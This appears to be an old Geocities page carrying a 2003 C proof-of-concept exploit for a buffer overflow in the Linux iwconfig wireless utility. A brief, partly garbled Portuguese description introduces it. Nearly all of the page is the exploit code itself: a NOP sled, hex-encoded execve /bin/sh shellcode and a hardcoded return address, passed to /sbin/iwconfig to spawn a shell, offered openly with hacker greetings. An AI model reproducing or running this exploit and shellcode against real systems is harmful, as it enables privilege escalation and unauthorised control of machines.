Exploit que usa fraquesas do sistema sem fio Iwconfig .

/*
* (C) 2003 NrAziz
* polygrithm_at_hotmail[DOT]com
*/

/*
* Greetz to Mixter,gorny,rave..
*/

/*
* Descrição:
* iwconfig configures uma interface de rede sem fios e é parecida ao ifconfig
* exceto aquele iwconfig configures interfaces sem fios.
* Vulnerabilidade:
* Ao Invés de dar o parâmetro de interface quando um fio grande é dado
* as inundações do buffer :-)...
*/

/*
* Yet another Proof Of Concept Xploit for 'iwconfig'
*/


#include <stdio.h>
#include <stdlib.h>

#define BUFF_SIZE 98
#define RET 0xbffffc3f

char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

int main(int argc,char **argv)
{

int i;
char *buff=(char *)malloc(sizeof(char)*BUFF_SIZE);

for(i=0;i<BUFF_SIZE;i+=4)
*(long *)&buff[i]=RET;

for(i=0;i<BUFF_SIZE-strlen(shellcode)-12;i++)
*(buff+i)=0x90;

memcpy(buff+i,shellcode,strlen(shellcode));

execl("/sbin/iwconfig","iwconfig",buff,(char *)NULL);

return 0;
}

 


Cracks's S.A

Hosted by www.Geocities.ws

1